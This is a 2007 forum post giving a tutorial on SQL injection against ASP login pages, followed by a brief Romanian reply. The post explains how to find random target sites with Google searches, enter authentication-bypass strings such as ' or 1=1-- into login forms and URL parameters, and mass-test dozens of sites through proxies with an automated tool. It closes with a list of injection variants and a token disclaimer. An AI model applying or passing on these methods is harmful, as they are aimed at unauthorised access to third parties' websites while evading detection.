BizZaroO Posted September 24, 2007 Report Posted September 24, 2007 Author: ComSecOne of the major problems with SQL is its poor security issues surrounding is the login and url strings.this tutorial is not going to go into detail on why these string work as am not a coder i just know what i know and it worksSEARCH:admin\login.asplogin.aspwith these two search string you will have plenty of targets to chose from...finding one thats vulnerable is another questionWHAT I DO :first let me go into details on how i go about my researchi have gathered plenty of injection strings for quite some time like these below and have just been granted access to a test machine and will be testing for many variations and new inputs...legally cool...provided by my good friend Gsecur aka ICE..also an Astal member.. http://governmentsecurity.org "thanks mate" .. gives me a chance to concentrate on what am doing and not be looking over my shoulderINJECTION STRINGS:HOW ?this is the easiest part...very simpleon the login page just enter something likeuser:admin (you dont even have to put this.)pass:' or 1=1--oruser:' or 1=1--admin:' or 1=1--some sites will have just a password sopassword:' or 1=1--infact i have compiled a combo list with strings like this to use on my chosen targets ....there are plenty of strings about , the list below is a sample of the most common usedthere are many other strings involving for instance UNION table access via reading the error pages table structurethus an attack with this method will reveal eventually admin U\P paths...but thats another paperthe one am interested in are quick access to targetsPROGRAMi tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bitof success with a combo list formatted this way,yesteday i loaded 40 eastern targets with 18 positive hits in a few minuteshow long would it take to go thought 40 sites cutting and pasting each string ??combo example:admin:' or a=a--admin:' or 1=1--and so on...it dont have to be admin can be anything you want... the most important part is example:' or 1=1-- this is our injectionstringnow the only trudge part is finding targets to exploit...so i tend to search say google for login.asp or whateverinurl:login.aspindex of:/admin/login.asplike this: index of login.aspresult:http://www3.google.com/search?hl=en&ie=ISO...G=Google+Search17,000 possible targets trying various searches spews out plent morenow using proxys set in my browser i then click through interesting targets...seeing whats what on the site pages if interestingi then cut and paste url as a possible target...after an hour or so you have a list of sites of potential targets like sohttp://www.somesite.com/login.asphttp://www.another.com/admin/login.aspand so on...in a couple of hours you can build up quite a list...reason i dont sellect all results or spider for login pages isi want to keep the noise level low...my ISP.. well enough said...plus atm am on dial-up so to slow for mei then save the list fire up Ares and enter (1) a proxy list (2)my target IP list (3)my combo list...start..now i dont want to go intoproblems with users using Ares..thing is i know it works for me...sit back and wait...any target vulnerable with show up in the hits box...now when it finds a target it will spew all the strings on that site as vulnerable...you have to go through each one on the site by cutting and pasting the string till you find the right one..but the thing is you know you CAN access the site ...really i need a program that will return the hit with a click on url and ignore false outputsam still looking....thing is it saves quite a bit of time going to each site and each string to find its not exploitable.there you go you should have access to your vulnerable target by nowanother thing you can use the strings in the urls were user=? edit the url to the = part and paste ' or 1=1-- so it becomesuser=' or 1=1-- just as quick as login process(Variations)admin'--' or 0=0 --" or 0=0 --or 0=0 --' or 0=0 #" or 0=0 #or 0=0 #' or 'x'='x" or "x"="x') or ('x'='x' or 1=1--" or 1=1--or 1=1--' or a=a--" or "a"="a') or ('a'='a") or ("a"="ahi" or "a"="ahi" or 1=1 --hi' or 1=1 --hi' or 'a'='ahi') or ('a'='ahi") or ("a"="ahappy huntingComSec aka ZSLhttp://comsec.governmentsecurity.org*******************************************WARNING: the information provided is for educationally purposes only and not to be used for malicious use. i hold no responsibilityfor your actions...do the right thing and let admins know ay****************************************** Quote
moubik Posted September 24, 2007 Report Posted September 24, 2007 e cam veche faza cu sql-ul dar merge ca intro.problema e ca tot vorbeste de asp, cand php e cel mai popular. Quote